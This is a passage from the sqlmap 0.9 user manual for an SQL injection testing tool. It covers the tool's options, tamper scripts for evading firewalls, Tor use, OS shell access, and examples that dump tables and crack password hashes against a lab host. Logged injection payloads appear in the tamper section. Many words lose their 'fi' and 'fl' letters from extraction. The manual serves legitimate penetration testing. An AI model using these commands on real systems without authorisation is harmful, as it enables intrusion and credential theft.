--auth-type=ATYPE
--auth-cred=ACRED
--auth-cert=ACERT
--proxy=PROXY
--proxy-cred=PCRED
--ignore-proxy
--delay=DELAY
--timeout=TIMEOUT
--retries=RETRIES
--scope=SCOPE
--safe-url=SAFURL
--safe-freq=SAFREQ
Data string to be sent through POST
HTTP Cookie header
URL Encode generated cookie injections
Ignore Set-Cookie header from response
HTTP User-Agent header
Use randomly selected HTTP User-Agent header
HTTP Referer header
Extra HTTP headers newline separated
HTTP authentication type (Basic, Digest or NTLM)
HTTP authentication credentials (name:password)
HTTP authentication certificate (key_file,cert_file)
Use a HTTP proxy to connect to the target url
HTTP proxy authentication credentials (name:password)
Ignore system default HTTP proxy
Delay in seconds between each HTTP request
Seconds to wait before timeout connection (default 30)
Retries when the connection timeouts (default 3)
Regexp to filter targets from provided proxy log
Url address to visit frequently during testing
Test requests between two visits to a given safe url
Optimization:
These options can be used to optimize the performance of sqlmap.
-o
--predict-output
--keep-alive
--null-connection
--threads=THREADS
Turn on all optimization switches
Predict common queries output
Use persistent HTTP(s) connections
Retrieve page length without actual HTTP response body
Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts.
-p TESTPARAMETER
--dbms=DBMS
--os=OS
--prefix=PREFIX
--suffix=SUFFIX
--tamper=TAMPER
Testable parameter(s)
Force back-end DBMS to this value
Force back-end DBMS operating system to this value
Injection payload prefix string
Injection payload suffix string
Use given script(s) for tampering injection data
Detection:
These options can be used to specify how to parse and compare page
content from HTTP responses when using blind SQL injection technique.
15
5. Usage
--level=LEVEL
--risk=RISK
--string=STRING
--regexp=REGEXP
--text-only
Level of tests to perform (1-5, default 1)
Risk of tests to perform (0-3, default 1)
String to match in page when the query is valid
Regexp to match in page when the query is valid
Compare pages based only on the textual content
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques.
--technique=TECH
--time-sec=TIMESEC
--union-cols=UCOLS
--union-char=UCHAR
Fingerprint:
-f, --fingerprint
SQL injection techniques to test for (default BEUST)
Seconds to delay the DBMS response (default 5)
Range of columns to test for UNION query SQL injection
Character to use for bruteforcing number of columns
Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements.
-b, --banner
--current-user
--current-db
--is-dba
--users
--passwords
--privileges
--roles
--dbs
--tables
--columns
--dump
--dump-all
--search
-D DB
-T TBL
-C COL
-U USER
--exclude-sysdbs
--start=LIMITSTART
--stop=LIMITSTOP
--first=FIRSTCHAR
--last=LASTCHAR
--sql-query=QUERY
--sql-shell
Retrieve DBMS banner
Retrieve DBMS current user
Retrieve DBMS current database
Detect if the DBMS current user is DBA
Enumerate DBMS users
Enumerate DBMS users password hashes
Enumerate DBMS users privileges
Enumerate DBMS users roles
Enumerate DBMS databases
Enumerate DBMS database tables
Enumerate DBMS database table columns
Dump DBMS database table entries
Dump all DBMS databases tables entries
Search column(s), table(s) and/or database name(s)
DBMS database to enumerate
DBMS database table to enumerate
DBMS database table column to enumerate
DBMS user to enumerate
Exclude DBMS system databases when enumerating tables
First query output entry to retrieve
Last query output entry to retrieve
First query output word character to retrieve
Last query output word character to retrieve
SQL statement to be executed
Prompt for an interactive SQL shell
Brute force:
These options can be used to run brute force checks.
--common-tables
--common-columns
Check existence of common tables
Check existence of common columns
16
5. Usage
User-defined function injection:
These options can be used to create custom user-defined functions.
--udf-inject
Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system.
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system.
--os-cmd=OSCMD
--os-shell
--os-pwn
--os-smbrelay
--os-bof
--priv-esc
--msf-path=MSFPATH
--tmp-path=TMPPATH
Execute an operating system command
Prompt for an interactive operating system shell
Prompt for an out-of-band shell, meterpreter or VNC
One click prompt for an OOB shell, meterpreter or VNC
Stored procedure buffer overflow exploitation
Database process' user privilege escalation
Local path where Metasploit Framework 3 is installed
Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry.
--reg-read
--reg-add
--reg-del
--reg-key=REGKEY
--reg-value=REGVAL
--reg-data=REGDATA
--reg-type=REGTYPE
Read a Windows registry key value
Write a Windows registry key value data
Delete a Windows registry key value
Windows registry key
Windows registry key value
Windows registry key value data
Windows registry key value type
General:
These options can be used to set some general working parameters.
-t TRAFFICFILE
-s SESSIONFILE
--flush-session
--fresh-queries
--eta
--update
--save
--batch
Miscellaneous:
--beep
--check-payload
--cleanup
Log all HTTP traffic into a textual file
Save and resume all data retrieved on a session file
Flush session file for current target
Ignores query results stored in session file
Display for each output the estimated time of arrival
Update sqlmap
Save options on a configuration INI file
Never ask for user input, use the default behaviour
Alert when sql injection found
IDS detection testing of injection payloads
Clean up the DBMS by sqlmap specific UDF and tables
17
5. Usage
--forms
--gpage=GOOGLEPAGE
--page-rank
--parse-errors
--replicate
--tor
--wizard
Parse and test forms on target url
Use Google dork results from specified page number
Display page rank (PR) for Google dork results
Parse DBMS error messages from response pages
Replicate dumped data into a sqlite3 database
Use default Tor (Vidalia/Privoxy/Polipo) proxy address
Simple wizard interface for beginner users
5.1 Output verbosity
Switch: -v
This switch can be used to set the verbosity level of output messages. There exist seven levels of verbosity.
The default level is 1 in which information, warning, error and critical messages and Python tracebacks (if
any occur) will be displayed.
• 0: Show only Python tracebacks, error and critical messages.
• 1: Show also information and warning messages.
• 2: Show also debug messages.
• 3: Show also payloads injected.
• 4: Show also HTTP requests.
• 5: Show also HTTP responses' headers.
• 6: Show also HTTP responses' page content.
A reasonable level of verbosity to further understand what sqlmap does under the hood is level 2, primarily
for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the
tools sends, level 3 is your best choice. In order to further debug potential bugs or unexpected behaviours,
we recommend you to set the verbosity to level 4 or above. This level is recommended to be used when you
feed the developers with a bug report too.
5.2 Target
At least one of these options has to be provided.
5.2.1 Target URL
Switch: -u or --url
Run sqlmap against a single target URL. This switch requires an argument which is the target URL in the
form http(s)://targeturl[:port]/[...].
5.2.2 Parse targets from Burp or WebScarab proxy logs
Switch: -l
Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied
through Burp proxy or WebScarab proxy This switch requires an argument which is the proxy's HTTP
requests log le.
5. Usage
18
5.2.3 Load HTTP request from a le
Switch: -r
One of the possibilities of sqlmap is loading of complete HTTP request from a textual le. That way you
can skip usage of bunch of other options (e.g. setting of cookies, POSTed data, etc).
Sample content of a HTTP request le provided as argument to this switch:
POST /sqlmap/mysql/post_int.php HTTP/1.1
Host: 192.168.136.131
User-Agent: Mozilla/4.0
id=1
5.2.4 Process Google dork results as target addresses
Switch: -g
It is also possible to test and inject on GET parameters on the results of your Google dork.
This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search,
then sqlmap will retrieve Google rst 100 results for the Google dork expression with GET parameters asking
you if you want to test and inject on each possible aected URL.
5.2.5 Load options from a conguration INI le
Switch: -c
It is possible to pass user's options from a conguration INI le, an example is sqlmap.conf.
Note that if you also provide other options from command line, those are evaluated when running sqlmap
and overwrite those provided in the conguration le.
5.3 Request
These options can be used to specify how to connect to the target url.
5.3.1 HTTP data
Option: --data
By default the HTTP method used to perform HTTP requests is GET, but you can implicitly change it to
POST by providing the data to be sent in the POST requests. Such data, being those parameters, are tested
for SQL injection as well as any provided GET parameters.
5.3.2 HTTP Cookie header
Switches: --cookie, --drop-set-cookie and --cookie-urlencode
This feature can be useful in two ways:
• The web application requires authentication based upon cookies and you have such data.
• You want to detect and exploit SQL injection on such header values.
5. Usage
19
Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the
following:
• Login to the application with your favourite browser.
• Get the HTTP Cookie from the browser's preferences or from the HTTP proxy screen and copy to the
clipboard.
• Go back to your shell and run sqlmap by pasting your clipboard as the argument of the --cookie
switch.
Note that the HTTP Cookie header values are usually separated by a ; character, not by an &. sqlmap can
recognize these as separate sets of parameter=value too, as well as GET and POST parameters.
If at any time during the communication, the web application responds with Set-Cookie headers, sqlmap will
automatically use its value in all further HTTP requests as the Cookie header. sqlmap will also automatically
test those values for SQL injection. This can be avoided by providing the switch --drop-set-cookie - sqlmap
will ignore any coming Set-Cookie header.
Vice versa, if you provide a HTTP Cookie header with --cookie switch and the target URL sends an HTTP
Set-Cookie header at any time, sqlmap will ask you which set of cookies to use for the following HTTP
requests.
sqlmap by default does not URL-encode generated cookie payloads, but you can force it by using the
--cookie-urlencode switch. Cookie content encoding is not declared by HTTP protocol standard in any
way, so it is solely the matter of web application's behaviour.
Note that also the HTTP Cookie header is tested against SQL injection if the --level is set to 2 or above.
Read below for details.
5.3.3 HTTP User-Agent header
Switches: --user-agent and --random-agent
By default sqlmap performs HTTP requests with the following User-Agent header value:
sqlmap/0.9 (http://sqlmap.sourceforge.net)
However, it is possible to fake it with the --user-agent switch by providing custom User-Agent as the
switch argument.
Moreover, by providing the --random-agent switch, sqlmap will randomly select a User-Agent from the
./txt/user-agents.txt textual le and use it for all HTTP requests within the session.
Some sites perform a server-side check on the HTTP User-Agent header value and fail the HTTP response
if a valid User-Agent is not provided, its value is not expected or is blacklisted by a web application rewall
or similar intrusion prevention system. In this case sqlmap will show you a message as follows:
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
Note that also the HTTP User-Agent header is tested against SQL injection if the --level is set to 3 or
above. Read below for details.
5. Usage
20
5.3.4 HTTP Referer header
Switch: --referer
It is possible to fake the HTTP Referer header value. By default no HTTP Referer header is sent in
HTTP requests if not explicitly set.
Note that also the HTTP Referer header is tested against SQL injection if the --level is set to 3 or above.
Read below for details.
5.3.5 Extra HTTP headers
Switch: --headers
It is possible to provide extra HTTP headers by setting the --headers switch. Each header must be
separated by a newline and it is much easier to provide them from the conguration INI le. Have a look at
the sample sqlmap.conf le for an example.
5.3.6 HTTP protocol authentication
Switches: --auth-type and --auth-cred
These options can be used to specify which HTTP protocol authentication the web server implements and
the valid credentials to be used to perform all HTTP requests to the target application.
The three supported HTTP protocol authentication mechanisms are:
• Basic
• Digest
• NTLM
While the credentials' syntax is username:password.
Example of valid syntax:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
--auth-type Basic --auth-cred "testuser:testpass"
5.3.7 HTTP protocol certicate authentication
Switch: --auth-cert
This switch should be used in cases when the web server requires proper client-side certicate for authentication. Supplied values should be in the form: key_file,cert_file, where key_file should be the name
of a PEM formatted le that contains your private key, while cert_file should be the name for a PEM
formatted certicate chain le.
5.3.8 HTTP(S) proxy
Switches: --proxy, --proxy-cred, --ignore-proxy and --tor
It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL.
The syntax of HTTP(S) proxy value is http://url:port.
5. Usage
21
If the HTTP(S) proxy requires authentication, you can provide the credentials in the format
username:password to the --proxy-cred switch.
If, for any reason, you need to stay anonymous, instead of passing by a single predened HTTP(S) proxy
server, you can congure a Tor client together with Privoxy (or similar) on your machine as explained on
the Tor client guide and use the Privoxy daemon, by default listening on 127.0.0.1:8118, as the sqlmap
proxy by simply providing the tool with the --tor switch instead of --proxy.
The switch --ignore-proxy should be used when you want to run sqlmap against a target part of a local
area network by ignoring the system-wide set HTTP(S) proxy server setting.
5.3.9 Delay between each HTTP request
Switch: --delay
It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a
oat, for instance 0.5 means half a second. By default, no delay is set.
5.3.10 Seconds to wait before timeout connection
Switch: --timeout
It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The
valid value is a oat, for instance 10.5 means ten seconds and a half. By default 30 seconds are set.
5.3.11 Maximum number of retries when the HTTP connection timeouts
Switch: --retries
It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default
it retries up to three times.
5.3.12 Filtering targets from provided proxy log using regular expression
Switch: --scope
Rather than using all hosts parsed from provided logs with switch -l, you can specify valid Python regular
expression to be used for ltering desired ones.
Example of valid syntax:
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
5.3.13 Avoid your session to be destroyed after too many unsuccessful requests
Switches: --safe-url and --safe-freq
Sometimes web applications or inspection technology in between destroys the session if a certain number of
unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits
any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output
and might therefore raise a signal to either the application session management or the inspection technology.
To bypass this limitation set by the target, you can provide two switches:
• --safe-url: Url address to visit frequently during testing.
5. Usage
22
• --safe-freq: Test requests between two visits to a given safe url.
This way, sqlmap will visit every a predened number of requests a certain safe URL without performing
any kind of injection against it.
5.4 Optimization
These switches can be used to optimize the performance of sqlmap.
5.4.1 Bundle optimization
Switch: -o
This switch is an alias that implicitly sets the following switches:
• --keep-alive
• --null-connection
• --threads 3 if not set to a higher value.
Read below for details about each switch.
5.4.2 Output prediction
Switch: --predict-output
This switch is used in inference algorithm for sequential statistical prediction of characters of value being
retrieved. Statistical table with the most promising character values is being built based on items given in
txt/common-outputs.txt combined with the knowledge of current enumeration used. In case that the value
can be found among the common output values, as the process progresses, subsequent character tables are
being narrowed more and more. If used in combination with retrieval of common DBMS entities, as with
system table names and privileges, speed up is signicant. Of course, you can edit the common outputs le
according to your needs if, for instance, you notice common patterns in database table names or similar.
Note that this switch is not compatible with --threads switch.
5.4.3 HTTP Keep-Alive
Switch: --keep-alive
This switch instructs sqlmap to use persistent HTTP(s) connections.
Note that this switch is incompatible with --proxy switch.
5.4.4 HTTP NULL connection
Switch: --null-connection
There are special HTTP request types which can be used to retrieve HTTP response's size without getting
the HTTP body. This knowledge can be used in blind injection technique to distinguish True from False
responses. When this switch is provided, sqlmap will try to test and exploit two dierent NULL connection
techniques: Range and HEAD. If any of these is supported by the target web server, speed up will come from
the obvious saving of used bandwidth.
5. Usage
23
These techniques are detailed in the white paper Bursting Performances in Blind SQL Injection - Take 2
(Bandwidth) .
Note that this switch is incompatible with --text-only switch.
5.4.5 Concurrent HTTP(S) requests
Switch: --threads
It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do.
This feature relies on the multi-threading concept and inherits both its pro and its cons.
This features applies to the brute-force switches and when the data fetching is done through any of the blind
SQL injection techniques. For the latter case, sqlmap rst calculates the length of the query output in a
single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query
output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the
bisection algorithm implemented in sqlmap.
The maximum number of concurrent requests is set to 10 for performance and site reliability reasons.
Note that this switch is not compatible with --predict-output switch.
5.5 Injection
These options can be used to specify which parameters to test for, provide custom injection payloads and
optional tampering scripts.
5.5.1 Testable parameter(s)
Switch: -p
By default sqlmap tests all GET parameters and POST parameters. When the value of --level is >= 2 it
tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP
Referer header value for SQL injections. It is however possible to manually specify a comma-separated list
of parameter(s) that you want sqlmap to test. This will bypass the dependence on the value of --level too.
For instance, to test for GET parameter id and for HTTP User-Agent only, provide -p id,user-agent.
5.5.2 Force the database management system name
Switch: --dbms
By default sqlmap automatically detects the web application's back-end database management system. As
of version 0.9, sqlmap fully supports the following database management systems:
• MySQL
• Oracle
• PostgreSQL
• Microsoft SQL Server
• Microsoft Access
• SQLite
5. Usage
24
• Firebird
• Sybase
• SAP MaxDB
If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identied
or if you want to avoid an active ngeprint, you can provide the name of the back-end DBMS yourself
(e.g. postgresql). For MySQL and Microsoft SQL Server provide them respectively in the form MySQL
<version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS;
for instance 5.0 for MySQL and 2005 for Microsoft SQL Server.
In case you provide --fingerprint together with --dbms, sqlmap will only perform the extensive ngerprint
for the specied database management system only, read below for further details.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely
sure about the back-end database management system. If you do not know it, let sqlmap automatically
ngerprint it for you.
5.5.3 Force the database management system operating system name
Switch: --os
By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch. At the
moment the fully supported operating systems are two:
• Linux
• Windows
It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it
itself.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely
sure about the back-end database management system underlying operating system. If you do not know it,
let sqlmap automatically identify it for you.
5.5.4 Custom injection payload
Switches: --prefix and --suffix
In some circumstances the vulnerable parameter is exploitable only if the user provides a specic sux to
be appended to the injection payload. Another scenario where these options come handy presents itself
when the user already knows that query syntax and want to detect and exploit the SQL injection by directly
providing a injection payload prex and sux.
Example of vulnerable source code:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
To detect and exploit this SQL injection, you can either let sqlmap detect the boundaries (as in combination
of SQL payload prex and sux) for you during the detection phase, or provide them on your own. For
example:
5. Usage
25
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
-p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
This will result in all sqlmap requests to end up in a query as follows:
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
Which makes the query syntactically correct.
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom
boundaries, but sometimes in real world application it is necessary to provide it when the injection point is
within nested JOIN queries for instance.
5.5.5 Tamper injection data
Switch: --tamper
sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by
their CHAR()-alike representation.
This switch can be very useful and powerful in situations where there is a weak input validation mechanism
between you and the back-end database management system. This mechanism usually is a self-developed
input validation routine called by the application source code, an expensive enterprise-grade IPS appliance
or a web application rewall (WAF). All buzzwords to dene the same concept, implemented in a dierent
way and costing lots of money, usually.
To take advantage of this switch, provide sqlmap with a comma-separated list of tamper scripts and this will
process the payload and return it transformed. You can dene your own tamper scripts, use sqlmap ones
from the tamper/ folder or edit them as long as you concatenate them comma-separated as the argument of
--tamper switch.
The format of a valid tamper script is as follows:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
You can check valid and usable tamper scripts in the tamper/ directory.
Example against a MySQL target assuming that > character, spaces and capital SELECT string are banned:
5. Usage
26
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]
5.6 Detection
These options can be used to specify how to parse and compare page content from HTTP responses when
using blind SQL injection technique.
5.6.1 Level
Switch: --level
This switch requires an argument which species the level of tests to perform. There are ve levels. The
default value is 1 where limited number of tests (requests) are performed. Vice versa, level 5 will test
verbosely for a much larger number of payloads and boundaries (as in pair of SQL payload prex and sux).
The payloads used by sqlmap are specied in the textual le xml/payloads.xml. Following the instructions
on top of the le, if sqlmap misses an injection, you should be able to add your own payload(s) to test for
too!
Not only this switch aects which payload sqlmap tries, but also which injection points are taken in exam:
GET and POST parameters are always tested, HTTP Cookie header values are tested from level 2 and
HTTP User-Agent/Referer headers' value is tested from level 3.
All in all, the harder it is to detect a SQL injection, the higher the --level must be set.
It is strongly recommended to higher this value before reporting to the mailing list that sqlmap is not able
to detect a certain injection point.
5.6.2 Risk
Switch: --risk
This switch requires an argument which species the risk of tests to perform. There are four risk values.
The default value is 1 which is innocuous for the majority of SQL injection points. Risk value 2 adds to
5. Usage
27
the default level the tests for heavy query time-based SQL injections and value 3 adds also OR-based SQL
injection tests.
In some instances, like a SQL injection in an UPDATE statement, injecting an OR-based payload can lead to
an update of all the entries of the table, which is certainly not what the attacker wants. For this reason and
others this switch has been introduced: the user has control over which payloads get tested, the user can
arbitrarily choose to use also potentially dangerous ones. As per the previous switch, the payloads used by
sqlmap are specied in the textual le xml/payloads.xml and you are free to edit and add your owns.
5.6.3 Page comparison
Switches: --string, --regexp and --text-only
By default the distinction of a True query by a False one (rough concept behind boolean-based blind
SQL injection vulnerabilities) is done by comparing the injected requests page content with the original not
injected page content. Not always this concept works because sometimes the page content changes at each
refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisement
banner or any other part of the HTML which is rendered dynamically and might change in time not only
consequently to user's input. To bypass this limit, sqlmap tries hard to identify these snippets of the response
bodies and deal accordingly. Sometimes it may fail, that is why the user can provide a string (--string
switch) which is always present on the not injected page and on all True injected query pages, but that
it is not on the False ones. As an alternative to a static string, the user can provide a regular expression
(--regexp switch).
Such data is easy for an user to retrieve, simply try to inject on the aected parameter an invalid value and
compare manually the original (not injected) page content with the injected wrong page content. This way
the distinction will be based upon string presence or regular expression match.
In cases with lot of active content (e.g. scripts, embeds, etc.) in the HTTP responses' body, you can lter
pages (--text-only switch) just for their textual content. This way, in a good number of cases, you can
automatically tune the detection engine.
5.7 Techniques
These options can be used to tweak testing of specic SQL injection techniques.
5.7.1 SQL injection techniques to test for
Switch: --technique
This switch can be used to specify which SQL injection type to test for. By default sqlmap tests for all
types/techniques it supports.
In certain situations you may want to test only for one or few specic types of SQL injection thought and
this is where this switch comes into play.
This switch requires an argument. Such argument is a string composed by any combination of B, E, U, S and
T characters where each letter stands for a dierent technique:
• B: Boolean-based blind SQL injection
• E: Error-based SQL injection
• U: UNION query SQL injection
5. Usage
28
• S: Stacked queries SQL injection
• T: Time-based blind SQL injection
For instance, you can provide ES if you want to test for and exploit error-based and stacked queries SQL
injection types only. The default value is BEUST.
Note that the string must include stacked queries technique letter, S, when you want to access the le system,
takeover the operating system or access Windows registry hives.
5.7.2 Seconds to delay the DBMS response for time-based blind SQL injection
Switch: --time-sec
It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by
providing the --time-sec option followed by an integer. By default delay is set to 5 seconds.
5.7.3 Number of columns in UNION query SQL injection
Switch: --union-cols
By default sqlmap tests for UNION query SQL injection technique using 1 to 10 columns. However, this
range can be increased up to 50 columns by providing an higher --level value. See the relevant paragraph
for details.
You can manually tell sqlmap to test for this type of SQL injection with a specic range of columns by
providing the tool with the --union-cols switch followed by a range of integers. For instance, 12-16 means
tests for UNION query SQL injection by using 12 up to 16 columns.
5.7.4 Character to use to test for UNION query SQL injection
Switch: --union-char
By default sqlmap tests for UNION query SQL injection technique using NULL character. However, by
providing an higher --level value sqlmap will performs tests also with a random number because there are
some corner cases where UNION query tests with NULL fail whereas with a random integer they succeed.
You can manually tell sqlmap to test for this type of SQL injection with a specic character by providing
the tool with the --union-char switch followed by a string.
5.8 Fingerprint
5.8.1 Extensive database management system ngerprint
Switches: -f or --fingerprint
By default the web application's back-end database management system ngerprint is handled automatically
by sqlmap. Just after the detection phase nishes and the user is eventually prompted with a choice of which
vulnerable parameter to use further on, sqlmap ngerprints the back-end database management system and
carries on the injection by knowing which SQL syntax, dialect and queries to use to proceed with the attack
within the limits of the database architecture.
If for any instance you want to perform an extensive database management system ngerprint based on
various techniques like specic SQL dialects and inband error messages, you can provide the --fingerprint
5. Usage
29
switch. sqlmap will perform a lot more requests and ngerprint the exact DBMS version and, where possible,
operating system, architecture and patch level.
If you want the ngerprint to be even more accurate result, you can also provide the -b or --banner switch.
5.9 Enumeration
These options can be used to enumerate the back-end database management system information, structure
and data contained in the tables. Moreover you can run your own SQL statements.
5.9.1 Banner
Switch: -b or --banner
Most of the modern database management systems have a function and/or an environment variable which
returns the database management system version and eventually details on its patch level, the underlying system. Usually the function is version() and the environment variable is @@version, but this vary
depending on the target DBMS.
5.9.2 Session user
Switch: --current-user
On the majority of modern DBMSes is possible to retrieve the database management system's user which is
eectively performing the query against the back-end DBMS from the web application.
5.9.3 Current database
Switch: --current-db
It is possible to retrieve the database management system's database name that the web application is
connected to.
5.9.4 Detect whether or not the session user is a database administrator
Switch: --is-dba
It is possible to detect if the current database management system session user is a database administrator,
also known as DBA. sqlmap will return True if it is, viceversa False.
5.9.5 List database management system users
Switch: --users
When the session user has read access to the system table containing information about the DBMS users, it
is possible to enumerate the list of users.
5.9.6 List and crack database management system users password hashes
Switches: --passwords and -U
5. Usage
30
When the session user has read access to the system table containing information about the DBMS users'
passwords, it is possible to enumerate the password hashes for each database management system user.
sqlmap will rst enumerate the users, then the dierent password hashes for each of them.
Example against a PostgreSQL target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format
to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary le and identied
the clear-text password for the postgres user, which is usually a DBA along the other user, testuser,
password.
This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes,
including Oracle and Microsoft SQL Server pre and post 2005.
You can also provide the -U option to specify the specic user who you want to enumerate and eventually
crack the password hash(es). If you provide CU as username it will consider it as an alias for current user
and will retrieve the password hash(es) for this user.
5.9.7 List database management system users privileges
Switches: --privileges and -U
When the session user has read access to the system table containing information about the DBMS users, it
is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap
will also show you which are database administrators.
You can also provide the -U option to specify the user who you want to enumerate the privileges.
If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges
for this user.
On Microsoft SQL Server, this feature will display you whether or not each user is a database administrator
rather than the list of privileges for all users.
5. Usage
31
5.9.8 List database management system users roles
Switches: --roles and -U
When the session user has read access to the system table containing information about the DBMS users, it
is possible to enumerate the roles for each database management system user.
You can also provide the -U option to specify the user who you want to enumerate the privileges.
If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges
for this user.
This feature is only available when the DBMS is Oracle.
5.9.9 List database management system's databases
Switch: --dbs
When the session user has read access to the system table containing information about available databases,
it is possible to enumerate the list of databases.
5.9.10 Enumerate database's tables
Switches: --tables, -D and --exclude-sysdbs
When the session user has read access to the system table containing information about databases' tables,
it is possible to enumerate the list of tables for a specic database management system's databases.
If you do not provide a specic database with switch -D, sqlmap will enumerate the tables for all DBMS
databases.
You can also provide the --exclude-sysdbs switch to exclude all system databases.
Note that on Oracle you have to provide the TABLESPACE_NAME instead of the database name.
5.9.11 Enumerate database table columns
Switches: --columns, -C, -T and -D
When the session user has read access to the system table containing information about database's tables,
it is possible to enumerate the list of columns for a specic database table. sqlmap also enumerates the
data-type for each column.
This feature depends on the option -T to specify the table name and optionally on -D to specify the database
name. When the database name is not specied, the current database name is used. You can also provide
the -C option to specify the table columns name like the one you provided to be enumerated.
Example against a SQLite target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
-D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type
|
+---------+---------+
5. Usage
32
| id
| INTEGER |
| name
| TEXT
|
| surname | TEXT
|
+---------+---------+
Note that on PostgreSQL you have to provide public or the name of a system database. That's because it is
not possible to enumerate other databases tables, only the tables under the schema that the web application's
user is connected to, which is always aliased by public.
5.9.12 Dump database table entries
Switches: --dump, -C, -T, -D, --start, --stop, --first and --last
When the session user has read access to a specic database's table it is possible to dump the table entries.
This functionality depends on switch -T to specify the table name and optionally on switch -D to specify
the database name. If the table name is provided, but the database name is not, the current database name
is used.
Example against a Firebird target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME
| SURNAME
|
+----+--------+------------+
| 1 | luther | blisset
|
| 2 | fluffy | bunny
|
| 3 | wu
| ming
|
| 4 | NULL
